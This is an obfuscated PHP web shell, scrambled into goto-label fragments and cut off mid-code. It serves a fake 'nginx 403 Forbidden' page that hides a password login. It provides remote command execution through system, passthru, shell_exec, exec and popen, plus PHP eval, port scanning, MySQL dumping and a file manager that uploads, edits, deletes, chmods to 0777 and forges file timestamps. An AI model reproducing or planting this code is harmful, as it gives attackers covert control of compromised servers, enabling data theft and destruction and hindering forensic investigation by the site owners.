Lxj3G: } goto OOFWT; k7MW5: } } } goto JPugn; l0u5J: function sizecount($fileSize) { goto Kldnc; wUOud: if ($size == 0) { return "0 Bytes"; } goto bMj2k; bMj2k: $sizename = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB"); goto V36ZS; Kldnc: $size = sprintf("%u", $fileSize); goto wUOud; V36ZS: return round($size / pow(1024, $i = floor(log($size, 1024))), 2) . $sizename[$i]; goto iij4s; iij4s: } goto Lvqxt; fsTdj: function getfun($funName) { return false !== function_exists($funName) ? "Yes" : "No"; } goto Bmyw1; OsgVi: function getUpPath($nowpath) { goto vRvmz; JrF5M: $num = count($pathdb); goto QMfem; Py_OW: return $uppath; goto n38pt; fuAKn: $uppath = str_replace("//", "/", $uppath); goto Py_OW; Qz1Ys: $uppath = implode("/", $pathdb) . "/"; goto fuAKn; vRvmz: $pathdb = explode("/", $nowpath); goto JrF5M; QMfem: if ($num > 2) { unset($pathdb[$num - 1], $pathdb[$num - 2]); } goto Qz1Ys; n38pt: } goto og4wu; xguyB: if (substr($dir, -1) != "/") { $dir = $dir . "/"; } goto WxyVb; PulRb: makehide("p1", $p1); goto kXTJl; JN4kK: makehide("p5", $p5); goto TuzlJ; KFN0U: function deltree($deldir) { goto EI_xd; EI_xd: $mydir = @dir($deldir); goto Q9Fsv; HEXV2: return @rmdir($deldir) ? 1 : 0; goto YGcMk; Q9Fsv: while ($file = $mydir->read()) { if (is_dir($deldir . "/" . $file) && $file != "." && $file != "..") { @chmod($deldir . "/" . $file, 0777); deltree($deldir . "/" . $file); } if (is_file($deldir . "/" . $file)) { @chmod($deldir . "/" . $file, 0777); @unlink($deldir . "/" . $file); } } goto wuKcD; RhlOs: @chmod($deldir, 0777); goto HEXV2; wuKcD: $mydir->close(); goto RhlOs; YGcMk: } goto AadOe; gz_Gs: function execute($cfe) { goto XU904; Ac8WG: return $res; goto bnEEJ; XU904: $res = ''; goto JqbgY; JqbgY: if ($cfe) { if (function_exists("system")) { goto LpK0f; LJzhv: @system($cfe); goto FaOl_; FaOl_: $res = @ob_get_contents(); goto AmoAv; AmoAv: @ob_end_clean(); goto LFnP0; LpK0f: @ob_start(); goto LJzhv; LFnP0: } elseif (function_exists("passthru")) { goto FaLSx; ADNJF: $res = @ob_get_contents(); goto Iy_8t; FaLSx: @ob_start(); goto Df5Lq; Iy_8t: @ob_end_clean(); goto gmmBC; Df5Lq: @passthru($cfe); goto ADNJF; gmmBC: } elseif (function_exists("shell_exec")) { $res = @shell_exec($cfe); } elseif (function_exists("exec")) { @exec($cfe, $res); $res = join("\xa", $res); } elseif (@is_resource($f = @popen($cfe, "r"))) { goto yPDKN; XgtsJ: @pclose($f); goto gPzTS; eXGPJ: while (!@feof($f)) { $res .= @fread($f, 1024); } goto XgtsJ; yPDKN: $res = ''; goto eXGPJ; gPzTS: } } goto Ac8WG; bnEEJ: } goto sRW0t; k8a7w: makehide("action", $action); goto SOZhK; EGjLI: function getPath($scriptpath, $nowpath) { goto Vog0k; eEqX9: $nowpath = str_replace("\", "/", $nowpath); goto BaK9m; BaK9m: $nowpath = str_replace("//", "/", $nowpath); goto hVbhT; Vog0k: if ($nowpath == ".") { $nowpath = $scriptpath; } goto eEqX9; CRZf6: return $nowpath; goto YwQNW; hVbhT: if (substr($nowpath, -1) != "/") { $nowpath = $nowpath . "/"; } goto CRZf6; YwQNW: } goto OsgVi; DnHSi: if ($doing == "backupmysql" && !$saveasfile) { if (!$table) { $errmsg = "Please choose the table"; } else { goto vsFHu; UiE_t: exit; goto lE7XD; Y_Jgk: foreach ($table as $k => $v) { if ($v) { sqldumptable($v); } } goto JYfhM; RK8ne: header("Content-Disposition: attachment; filename=" . $filename); goto Y_Jgk; JYfhM: mysql_close(); goto UiE_t; FOKuP: header("Content-type: application/unknown"); goto RK8ne; vsFHu: $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); goto AFbvF; AFbvF: $filename = basename($dbname . ".sql"); goto FOKuP; lE7XD: } } goto ACKvL; sGaK7: function goback() { global $self, $nowpath; p("<form action="" . $self . "" method="post"><input type="hidden" name="action" value="file" /><input type="hidden" name="dir" value="" . $nowpath . "" /><p><input class="bt" type="submit" value="Go back..."></p></form>"); } goto ILhrk; BS5Oz: function secparam($n, $v) { $v = trim($v); if ($v) { goto IEfTl; IEfTl: p("<h2>" . $n . " »</h2>"); goto xLKu3; yV9Ul: if (strpos($v, "
") === false) { p($v . "<br />"); } else { p("<pre>" . $v . "</pre>"); } goto cbutb; xLKu3: p("<div class="infolist">"); goto yV9Ul; cbutb: p("</div>"); goto Kvo02; Kvo02: } } goto lRUjd; mw4v5: if ($charset == "utf8") { header("content-Type: text/html; charset=utf-8"); } elseif ($charset == "big5") { header("content-Type: text/html; charset=big5"); } elseif ($charset == "gbk") { header("content-Type: text/html; charset=gbk"); } elseif ($charset == "latin1") { header("content-Type: text/html; charset=iso-8859-2"); } elseif ($charset == "euc-kr") { header("content-Type: text/html; charset=euc-kr"); } elseif ($charset == "euc-jp") { header("content-Type: text/html; charset=euc-jp"); } goto WhiZy; Bmyw1: function getext($file) { $info = pathinfo($file); return $info["extension"]; } goto OS0yN; LGa8v: $cookiepath = "/"; goto C7ECg; LxqnM: !$action && ($action = "file"); goto oWcz9; sRW0t: function which($pr) { $path = execute("which {$pr}"); return $path ? $path : $pr; } goto FTgK_; ubpOe: makehide("p3", $p3); goto ZcQq_; y5Zoy: echo PHP_VERSION; goto WVlW0; bWkFA: echo "</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
\xa\x9<span style="float:right;">"; goto uDJd_; HWME1: if ($doing == "downfile" && $thefile) { if (!@file_exists($thefile)) { $errmsg = "The file you want Downloadable was nonexistent"; } else { goto KDVT1; CpiCF: header("Content-type: application/x-" . $fileinfo["extension"]); goto qAdeU; hOslI: @readfile($thefile); goto L5UJE; KDVT1: $fileinfo = pathinfo($thefile); goto CpiCF; L5UJE: exit; goto AsayM; qAdeU: header("Content-Disposition: attachment; filename=" . $fileinfo["basename"]); goto s39T5; s39T5: header("Content-Length: " . filesize($thefile)); goto hOslI; AsayM: } } goto DnHSi; i2UzA: formhead(array("name" => "opform")); goto k8a7w; luHNd: function dirsize($dir) { goto XsUWN; eV0Bi: return $size; goto OlGbo; bfH_1: @closedir($dh); goto eV0Bi; XsUWN: $dh = @opendir($dir); goto CPgzw; lyONF: while ($file = @readdir($dh)) { if ($file != "." && $file != "..") { $path = $dir . "/" . $file; $size += @is_dir($path) ? dirsize($path) : @filesize($path); } } goto bfH_1; CPgzw: $size = 0; goto lyONF; OlGbo: } goto pENZ7; WVlW0: echo " / Safe Mode:"; goto tA6gy; ibtuS: $dis_func = get_cfg_var("disable_functions"); goto E0D6b; K4fnh: $nowpath = getPath(SA_ROOT, $dir); goto xguyB; k2WH3: define("IS_COM", class_exists("COM") ? 1 : 0); goto TfN__; qs1Jm: function loginpage() { echo "<html>
\xa<head><title>403 Forbidden</title></head>\xd
<style type="text/css" media="screen">
\xa .login\xd
{\xd
border:0;\xd
}
</style>
<body bgcolor="white">\xd
<center><h1>403 Forbidden</h1></center>
\xa<hr><center>nginx/1.15.0</center>
\xa <form method="POST" action="">\xd
\x9<input name="password" type="password" class="login" size="20">\xd\xa\x9<input type="hidden" name="action" value="login">
\x9</form>
</body>
</html>\xd\xa"; exit; } goto gz_Gs; u4owr: error_reporting(7); goto KviXL; VD0dN: function getChmod($filepath) { return substr(base_convert(@fileperms($filepath), 10, 8), -4); } goto Y0cCN; uY_26: echo "</span>\xd
\x9\x9\x9<a href="javascript:g('logout');">Logout</a> |
<a href="javascript:g('file');">File Manager</a> | \xd
\x9\x9 <a href="javascript:g('mysqladmin');">MYSQL Manager</a> | \xd
\x9 \x9<a href="javascript:g('sqlfile');">MySQL Upload & Download</a> | \xd\xa\x9\x9\x9<a href="javascript:g('shell');">Execute Command</a> |
\xa <a href="javascript:g('phpenv');">PHP Variable</a> |
\x9\x9 <a href="javascript:g('portscan');">Port Scan</a> |
\x9\x9<a href="javascript:g('secinfo');">Security information</a> | \xd\xa\x9\x9 <a href="javascript:g('eval');">Eval PHP Code</a>
\xa\x9 "; goto PH_Cz; LHXHt: function fr($qy) { mysql_free_result($qy); } goto l0u5J; iRFtB: function tbfoot() { p("</table>"); } goto L0ea9; TfN__: define("IS_GPC", get_magic_quotes_gpc()); goto ibtuS; CKaeg: echo " ("; goto W9J2j; kXTJl: makehide("p2", $p2); goto ubpOe; KviXL: ob_start(); goto B3Eo6; kZCjb: echo $_SERVER["HTTP_HOST"]; goto CKaeg; CxbqO: function mydbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = "3306") { goto Xf_Ug; Q73wH: if (!($link = @mysql_connect($dbhost . ":" . $dbport, $dbuser, $dbpass))) { p("<h2>Can not connect to MySQL server</h2>"); exit; } goto tgkmp; URthr: return $link; goto GCW3A; tgkmp: if ($link && $dbname) { if (!@mysql_select_db($dbname, $link)) { p("<h2>Database selected has error</h2>"); exit; } } goto V44P7; Xf_Ug: global $charsetdb; goto PTLyY; PTLyY: @ini_set("mysql.connect_timeout", 5); goto Q73wH; V44P7: if ($link && mysql_get_server_info() > "4.1") { if ($charset && in_array(strtolower($charset), $charsetdb)) { q("SET character_set_connection={$charset}, character_set_results={$charset}, character_set_client=binary;", $link); } } goto URthr; GCW3A: } goto tW8sZ; PR8q8: !$writabledb && ($writabledb = "php,cgi,pl,asp,inc,js,html,htm,jsp"); goto Zc2mi; j0GbK: function qy($sql) { goto s8Ld4; HGt_S: if (!($res = @mysql_query($sql, $mysqllink))) { return 0; } else { if (is_resource($res)) { return 1; } else { return 2; } } goto jaADe; o9b5r: $res = $error = ''; goto HGt_S; jaADe: return 0; goto mg555; s8Ld4: global $mysqllink; goto o9b5r; mg555: } goto MyciK; hIUKc: echo $action . " - " . $_SERVER["HTTP_HOST"]; goto zVY9g; TuzlJ: formfoot(); goto VkgCv; C7ECg: $cookielife = 86400; goto PR8q8; YJD9B: $cookiedomain = ''; goto LGa8v; tA6gy: echo getcfg("safe_mode"); goto uY_26; vfSYg: function getUser($filepath) { if (function_exists("posix_getpwuid")) { $array = @posix_getpwuid(@fileowner($filepath)); if ($array && is_array($array)) { return " / <a href="#" title="User: " . $array["name"] . "
Passwd: " . $array["passwd"] . "
Uid: " . $array["uid"] . "
gid: " . $array["gid"] . "
Gecos: " . $array["gecos"] . "
Dir: " . $array["dir"] . "
Shell: " . $array["shell"] . "">" . $array["name"] . "</a>"; } } return ''; } goto KFN0U; lRUjd: function m($msg) { goto lebiv; CnB3O: echo "</div>"; goto qstm2; lebiv: echo "<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">"; goto EDNte; EDNte: echo $msg; goto CnB3O; qstm2: } goto fkQDN; BcUpu: function makeinput($arg = array()) { goto LB27l; fuFjP: !$arg["type"] && ($arg["type"] = "text"); goto QUwKg; LB27l: $arg["size"] = $arg["size"] > 0 ? "size="{$arg["size"]}"" : "size="100""; goto y4z2f; QUwKg: $arg["title"] = $arg["title"] ? $arg["title"] . "<br />" : ''; goto UKM6S; y4z2f: $arg["extra"] = $arg["extra"] ? $arg["extra"] : ''; goto fuFjP; UKM6S: $arg["class"] = $arg["class"] ? $arg["class"] : "input"; goto i38Ka; i38Ka: if ($arg["newline"]) { p("<p>{$arg["title"]}<input class="{$arg["class"]}" name="{$arg["name"]}" id="{$arg["name"]}" value="{$arg["value"]}" type="{$arg["type"]}" {$arg["size"]} {$arg["extra"]} /></p>"); } else { p("{$arg["title"]}<input class="{$arg["class"]}" name="{$arg["name"]}" id="{$arg["name"]}" value="{$arg["value"]}" type="{$arg["type"]}" {$arg["size"]} {$arg["extra"]} />"); } goto RkEty; RkEty: } goto PCUBZ; xJ93P: define("IS_WIN", DIRECTORY_SEPARATOR == "\"); goto k2WH3; WxyVb: if ($action == "file") { goto yQ3wf; xQfFy: !$all && ($all = 0); goto PWb7e; ebyT7: echo $dir_writeable; goto PSZhc; iGVNG: makehide("sname"); goto lKnxL; PWb7e: $used = $all - $free; goto sx2A0; ReL7B: p(" | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile('" . $nowpath . "');">Create File</a>"); goto AGPnC; AGPnC: p("<div style="padding:5px 0;"><form action="" . $self . "" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="" . $findstr . "" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="" . $writabledb . "" type="text" /><input name="dir" value="" . $dir . "" type="hidden" /> <input name="re" value="1" type="checkbox" " . ($re ? "checked" : '') . " /> Regular expressions</form></div></td></tr>"); goto GJWQS; oell7: makehide("dir", $nowpath); goto l8clU; sx2A0: p("<h2>File Manager - Current disk free " . sizecount($free) . " of " . sizecount($all) . " (" . @round(100 / ($all / $free), 2) . "%)</h2>"); goto iKz6S; TIOyT: formhead(array("name" => "getsize")); goto Hpmzr; Hn_Ty: makehide("dir", $nowpath); goto arSeX; ASuWD: @sort($filedata); goto gvMnO; sqJNz: echo getChmod($nowpath); goto q0LBu; PSZhc: echo ", "; goto sqJNz; JEB3d: echo "<script type="text/javascript">\xd\xadocument.onclick = shownav;
function shownav(e){
\x9var src = e?e.target:event.srcElement;\xd\xa do{\xd
\x9\x9if(src.id =="jumpto") {
\x9 \x9$('inputnav').style.display = "";
\xa \x9 $('pathnav').style.display = "none";
\xa\x9 \x9//hidenav();\xd\xa\x9\x9\x9return;\xd\xa \x9}\xd\xa \x9if(src.id =="inputnav") {\xd\xa\x9 \x9return;
\x9\x9}
\xa src = src.parentNode;\xd\xa\x9}while(src.parentNode)\xd
$('inputnav').style.display = "none";
\x9$('pathnav').style.display = "";\xd
}
</script>
\xa<div style="background:#eee;margin-bottom:10px;">
\xa <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">\xd\xa\x9 <tr>\xd
\x9 <td width="100%">"; goto jbaeJ; d6zDo: p("<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>"); goto POoN3; R3xBm: $dirdata = array(); goto xYKYj; HdVo3: makehide("dir"); goto kT13w; l8clU: formfoot(); goto qCGl3; ck1KD: formfoot(); goto cEtC7; ayCu2: formfoot(); goto DM8Nv; UZ9pL: @sort($dirdata); goto ASuWD; Y_DVh: makehide("action"); goto SuqM5; HLx3Y: makehide("oldname"); goto BCrvC; YJvoP: p("<form id="filelist" name="filelist" action="" . $self . "" method="post">"); goto wypfI; KAruo: !$free && ($free = 0); goto A3rRU; CwE_N: $re = $_POST["re"]; goto IlcBf; iKz6S: $cwd_links = ''; goto zbxH2; ZJ5zU: formfoot(); goto fIHLY; xhn6_: echo " ("; goto CgMXf; qCGl3: formhead(array("name" => "fileopform", "target" => "_blank")); goto Y_DVh; BUWlS: p("</form></table>"); goto U9m1r; SuqM5: makehide("opfile"); goto HdVo3; Ffyt7: if ($newdirname) { $mkdirs = $nowpath . $newdirname; if (file_exists($mkdirs)) { m("Directory has already existed"); } else { m("Directory created " . (@mkdir($mkdirs, 0777) ? "success" : "failed")); @chmod($mkdirs, 0777); } } elseif ($doupfile) { m("File upload " . (@copy($_FILES["uploadfile"]["tmp_name"], $uploaddir . "/" . $_FILES["uploadfile"]["name"]) ? "success" : "failed")); } elseif ($editfilename && $filecontent) { goto PV5lw; D2QOt: @fclose($fp); goto nSKa6; PV5lw: $fp = @fopen($editfilename, "w"); goto uvey3; uvey3: m("Save file " . (@fwrite($fp, $filecontent) ? "success" : "failed")); goto D2QOt; nSKa6: } elseif ($pfile && $newperm) { if (!file_exists($pfile)) { m("The original file does not exist"); } else { $newperm = base_convert($newperm, 8, 10); m("Modify file attributes " . (@chmod($pfile, $newperm) ? "success" : "failed")); } } elseif ($oldname && $newfilename) { $nname = $nowpath . $newfilename; if (file_exists($nname) || !file_exists($oldname)) { m($nname . " has already existed or original file does not exist"); } else { m(basename($oldname) . " renamed " . basename($nname) . (@rename($oldname, $nname) ? " success" : "failed")); } } elseif ($sname && $tofile) { if (file_exists($tofile) || !file_exists($sname)) { m("The goal file has already existed or original file does not exist"); } else { m(basename($tofile) . " copied " . (@copy($sname, $tofile) ? basename($tofile) . " success" : "failed")); } } elseif ($curfile && $tarfile) { if (!@file_exists($curfile) || !@file_exists($tarfile)) { m("The goal file has already existed or original file does not exist"); } else { $time = @filemtime($tarfile); m("Modify file the last modified " . (@touch($curfile, $time, $time) ? "success" : "failed")); } } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { if (!@file_exists($curfile)) { m(basename($curfile) . " does not exist"); } else { $time = strtotime("{$year}-{$month}-{$day} {$hour}:{$minute}:{$second}"); m("Modify file the last modified " . (@touch($curfile, $time, $time) ? "success" : "failed")); } } elseif ($doing == "delfiles") { if ($dl) { goto am0lA; iaswv: $succ = $fail = 0; goto rJ_LH; am0lA: $dfiles = ''; goto iaswv; Ya8M3: m("Deleted folder/file have finished,choose " . count($dl) . " success " . $succ . " fail " . $fail); goto sQZPA; rJ_LH: foreach ($dl as $filepath) { if (is_dir($filepath)) { if (@deltree($filepath)) { $succ++; } else { $fail++; } } else { if (@unlink($filepath)) { $succ++; } else { $fail++; } } } goto Ya8M3; sQZPA: } else { m("Please select folder/file(s)"); } } goto f2Wn3; txEN5: echo "" type="text" style="width:99%;margin:0 8px;"></td>\xd\xa\x9 \x9<td nowrap><input class="bt" value="GO" type="submit"></td>\xd
</tr>\xd
</form>\xd
</table>\xd\xa"; goto tGzxV; A3rRU: $all = @disk_total_space($nowpath); goto xQfFy; CgMXf: echo $dir_writeable; goto xRzdB; xYKYj: $filedata = array(); goto YSJ1d; GzpbA: foreach ($filedata as $key => $filedb) { if ($filedb["filename"] != ".." && $filedb["filename"] != ".") { goto HcV3M; KTA3q: p("<td nowrap>"); goto YMqg1; YMqg1: p("<a href="javascript:dofile('downfile','" . $filedb["server_link"] . "');">Down</a> | "); goto PVSnf; g2iJp: p("<td>" . (strpos($filedb["server_link"], $_SERVER["DOCUMENT_ROOT"]) !== false ? "<a href="" . $fileurl . "" target="_blank">" . $filedb["filename"] . "</a>" : $filedb["filename"]) . "</td>"); goto jJbVg; ZoipH: p("<a href="javascript:opfile('editfile','" . $filedb["server_link"] . "','" . $filedb["dirlink"] . "');">Edit</a> | "); goto UV6hq; AIBp4: p("<td nowrap>"); goto NsGxJ; PVSnf: p("<a href="javascript:copyfile('" . $filedb["server_link"] . "');">Copy</a> | "); goto ZoipH; XXeO2: $file_i++; goto rxbth; fgHR4: $thisbg = bg(); goto cxD06; melor: p("<td nowrap>" . $filedb["size"] . "</td>"); goto AIBp4; HcV3M: $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"], '', $filedb["server_link"]); goto fgHR4; NsGxJ: p("<a href="javascript:fileperm('" . $filedb["server_link"] . "');">" . $filedb["filechmod"] . "</a> / "); goto QhOVo; cxD06: p("<tr class="" . $thisbg . "" onmouseover="this.className='focus';" onmouseout="this.className='" . $thisbg . "';">"); goto XnnVe; QhOVo: p("<a href="javascript:fileperm('" . $filedb["server_link"] . "');">" . $filedb["fileperm"] . "</a>" . $filedb["fileowner"] . "</td>"); goto KTA3q; UV6hq: p("<a href="javascript:rename('" . $filedb["server_link"] . "');">Rename</a>"); goto zIyqW; jJbVg: p("<td nowrap><a href="javascript:opfile('newtime','" . $filedb["server_link"] . "','" . $filedb["dirlink"] . "');">" . $filedb["mtime"] . "</a></td>"); goto melor; XnnVe: p("<td width="2%" nowrap><input name="dl[]" type="checkbox" value="" . $filedb["server_link"] . ""></td>"); goto g2iJp; zIyqW: p("</td></tr>"); goto XXeO2; rxbth: } } goto SyIPJ; kT13w: formfoot(); goto TIOyT; tGzxV: if (IS_WIN && IS_COM) { $obj = new COM("scripting.filesystemobject"); if ($obj && is_object($obj) && $obj->Drives) { goto TQJmg; No8JW: foreach ($obj->Drives as $drive) { if ($drive->Path) { p($comma . "<a href="javascript:godir('" . $drive->Path . "/');">" . $DriveTypeDB[$drive->DriveType] . "(" . $drive->Path . ")</a>"); $comma = "<span>|</span>"; } } goto prJIY; prJIY: echo "</div>"; goto QZ255; SlHaV: $comma = ''; goto No8JW; oPsMZ: $DriveTypeDB = array(0 => "Unknow", 1 => "Removable", 2 => "Fixed", 3 => "Network", 4 => "CDRom", 5 => "RAM Disk"); goto SlHaV; TQJmg: echo "<div class="drives">"; goto oPsMZ; QZ255: } } goto xTENb; lHhv2: makehide("dir", $nowpath); goto ayCu2; r242o: p("<tr class="" . bg() . ""><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile('delfiles');">Delete selected</a></td><td align="right">" . $dir_i . " directories / " . $file_i . " files</td></tr>"); goto BUWlS; zbxH2: $path = explode("/", $nowpath); goto rNsVu; OppJE: makehide("newperm"); goto x1lUQ; POoN3: $file_i = "0"; goto GzpbA; e04kT: makehide("thefile"); goto xrH1F; s9orA: p(" | <a href="javascript:godir('" . $nowpath . "');">View All</a>"); goto d5VB4; BX91i: makehide("dir", $nowpath); goto ZJ5zU; xRzdB: echo ")</td>
\x9 <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>
\xa \x9</tr>\xd
</table>
\xa\x9<table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">\xd\xa <form action="" method="post" id="godir" name="godir">
\x9\x9<tr>
\x9 <td nowrap>Current Directory ("; goto ebyT7; xrH1F: makehide("doing"); goto SyywU; arSeX: formfoot(); goto Uew2u; DM8Nv: formhead(array("name" => "fileperm")); goto OppJE; gvMnO: $dir_i = "0"; goto YJvoP; SyIPJ: p("<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>"); goto r242o; gvaLF: for ($i = 0; $i < $n - 1; $i++) { $cwd_links .= "<a href="javascript:godir('"; for ($j = 0; $j <= $i; $j++) { $cwd_links .= $path[$j] . "/"; } $cwd_links .= "');">" . $path[$i] . "/</a>"; } goto JEB3d; cEtC7: $free = @disk_free_space($nowpath); goto KAruo; lKnxL: makehide("tofile"); goto BX91i; BCrvC: makehide("newfilename"); goto oell7; PrT_K: p("<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">"); goto dMaoG; eXxS1: makehide("newdirname"); goto lHhv2; x1lUQ: makehide("pfile"); goto Hn_Ty; SyywU: makehide("dir", $nowpath); goto lPgnH; XIZcF: p("<a href="javascript:godir('" . $_SERVER["DOCUMENT_ROOT"] . "');">WebRoot</a>"); goto pqpsR; dMaoG: p("<form action="" . $self . "" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="" . $nowpath . "" type="hidden" /><input name="dir" value="" . $nowpath . "" type="hidden" /></div></form>"); goto XIZcF; yQ3wf: $dir_writeable = @is_writable($nowpath) ? "Writable" : "Non-writable"; goto Ffyt7; Cxa63: p(" | <a href="javascript:godir('" . $nowpath . "','file');">File</a> )"); goto ReL7B; lPgnH: foreach ($dirdata as $key => $dirdb) { if ($dirdb["filename"] != ".." && $dirdb["filename"] != ".") { goto IGIGq; YBR0A: p("<a href="javascript:fileperm('" . $dirdb["server_link"] . "');">" . $dirdb["dirperm"] . "</a>" . $dirdb["fileowner"] . "</td>"); goto QiG3F; lzSgq: p("<a href="javascript:fileperm('" . $dirdb["server_link"] . "');">" . $dirdb["dirchmod"] . "</a> / "); goto YBR0A; CxHSK: p("<td nowrap>" . $attachsize . "</td>"); goto OhJIt; TYAtb: p("<td width="2%" nowrap><input name="dl[]" type="checkbox" value="" . $dirdb["server_link"] . ""></td>"); goto eBsw0; eBsw0: p("<td><a href="javascript:godir('" . $dirdb["server_link"] . "');">" . $dirdb["filename"] . "</a></td>"); goto Eg5J_; Eg5J_: p("<td nowrap><a href="javascript:opfile('newtime','" . $dirdb["server_link"] . "','" . $dirdb["dirlink"] . "');">" . $dirdb["mtime"] . "</a></td>"); goto CxHSK; OhJIt: p("<td nowrap>"); goto lzSgq; QiG3F: p("<td nowrap><a href="javascript:rename('" . $dirdb["server_link"] . "');">Rename</a></td>"); goto kYMWw; DAMyJ: $dir_i++; goto lskje; kYMWw: p("</tr>"); goto DAMyJ; aaxPc: $thisbg = bg(); goto P3OuQ; P3OuQ: p("<tr class="" . $thisbg . "" onmouseover="this.className='focus';" onmouseout="this.className='" . $thisbg . "';">"); goto TYAtb; IGIGq: $pa = str_replace("/..", '', $dirdb["dirlink"]); goto WbNX6; WbNX6: if ($getdir && $getdir == $dirdb["server_link"]) { $attachsize = dirsize($dirdb["server_link"]); $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : "Unknown"; } else { $attachsize = "<a href="javascript:getsize('" . $dirdb["server_link"] . "','" . $dir . "');">Stat</a>"; } goto aaxPc; lskje: } else { if ($dirdb["filename"] == "..") { goto v3GAP; XEKOy: p("<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir('" . getUpPath($nowpath) . "');">Parent Directory</a></td>"); goto H1EI0; v3GAP: p("<tr class=" . bg() . ">"); goto XEKOy; H1EI0: p("</tr>"); goto rVirb; rVirb: } } } goto d6zDo; q0LBu: echo ")</td>
\xa \x9<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value=""; goto zoKW5; Hpmzr: makehide("getdir"); goto wbKGz; ZH8De: $findstr = $_POST["findstr"]; goto CwE_N; wbKGz: makehide("dir"); goto ck1KD; wypfI: makehide("action", "file"); goto e04kT; GJWQS: p("<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>"); goto R3xBm; Uew2u: formhead(array("name" => "copyfile")); goto iGVNG; jbaeJ: echo $cwd_links . " - " . getChmod($nowpath) . " / " . getPerms($nowpath) . getUser($nowpath); goto xhn6_; rNsVu: $n = count($path); goto gvaLF; fIHLY: formhead(array("name" => "rename")); goto HLx3Y; zoKW5: echo $nowpath; goto txEN5; d5VB4: p(" | View Writable ( <a href="javascript:godir('" . $nowpath . "','dir');">Directory</a>"); goto Cxa63; xTENb: echo "</div>
"; goto ZH8De; YSJ1d: if ($view_writable == "dir") { $dirdata = GetWDirList($nowpath); $filedata = array(); } elseif ($view_writable == "file") { $dirdata = array(); $filedata = GetWFileList($nowpath); } elseif ($findstr) { $dirdata = array(); $filedata = GetSFileList($nowpath, $findstr, $re); } else { goto jwBPU; EXi4D: unset($filedb); goto xiuq9; xiuq9: @closedir($dirs); goto a3nEL; jwBPU: $dirs = @opendir($dir); goto FQkVR; FQkVR: while ($file = @readdir($dirs)) { $filepath = $nowpath . $file; if (@is_dir($filepath)) { goto qS9H5; mS1Kq: $dirdb["server_link"] = $filepath; goto gQerl; ZbpHN: $dirdb["dirchmod"] = getChmod($filepath); goto Kf1DH; zAFKo: $dirdb["fileowner"] = getUser($filepath); goto ylGOc; gQerl: $dirdata[] = $dirdb; goto cGrWE; qS9H5: $dirdb["filename"] = $file; goto VQ4ab; Kf1DH: $dirdb["dirperm"] = getPerms($filepath); goto zAFKo; VQ4ab: $dirdb["mtime"] = @date("Y-m-d H:i:s", filemtime($filepath)); goto ZbpHN; ylGOc: $dirdb["dirlink"] = $nowpath; goto mS1Kq; cGrWE: } else { goto Bs9eV; YBeyO: $filedb["fileperm"] = getPerms($filepath); goto mjIfR; OUrmQ: $filedb["server_link"] = $filepath; goto TZ9O1; RhkyM: $filedb["mtime"] = @date("Y-m-d H:i:s", filemtime($filepath)); goto J_KEn; ojg5z: $filedb["dirlink"] = $nowpath; goto OUrmQ; b_WIz: $filedb["size"] = sizecount(@filesize($filepath)); goto RhkyM; J_KEn: $filedb["filechmod"] = getChmod($filepath); goto YBeyO; mjIfR: $filedb["fileowner"] = getUser($filepath); goto ojg5z; TZ9O1: $filedata[] = $filedb; goto JpCyp; Bs9eV: $filedb["filename"] = $file; goto b_WIz; JpCyp: } } goto rcSKX; rcSKX: unset($dirdb); goto EXi4D; a3nEL: } goto UZ9pL; f2Wn3: formhead(array("name" => "createdir")); goto eXxS1; pqpsR: p(" | <a href="javascript:godir('.');">ScriptPath</a>"); goto s9orA; IlcBf: tbhead(); goto PrT_K; U9m1r: } elseif ($action == "sqlfile") { goto zRkui; hClEs: p("</form>"); goto Y5kYE; BpxbF: makehide("action", "sqlfile"); goto hClEs; UlE9q: makeinput(array("name" => "dbport", "size" => 4, "value" => $dbport)); goto x96fJ; Soyow: !$dbuser && ($dbuser = "root"); goto oONny; TZYJ6: p("<h2>Download file</h2>"); goto lEtAP; tNpW4: p(":"); goto UlE9q; Shvh8: makehide("dbport"); goto mvtmD; BnuHR: p("DBCharset:"); goto mV7WG; CSEn7: !$dbhost && ($dbhost = "localhost"); goto Soyow; IjZ6r: makeinput(array("name" => "dbhost", "size" => 20, "value" => $dbhost)); goto tNpW4; kedCo: p("<p><b>This operation the DB user must has FILE privilege</b></p>"); goto efMtF; tQnQp: makehide("dbhost"); goto Shvh8; j4I0f: p("<form action="" . $self . "" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">"); goto jq_81; KQCG_: makehide("charset"); goto qbz3I; efMtF: p("<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile('mysqlupload');">Upload</a></p>"); goto TZYJ6; kQiWK: p("DBHost:"); goto IjZ6r; yol11: makehide("dbpass"); goto Ne2lS; 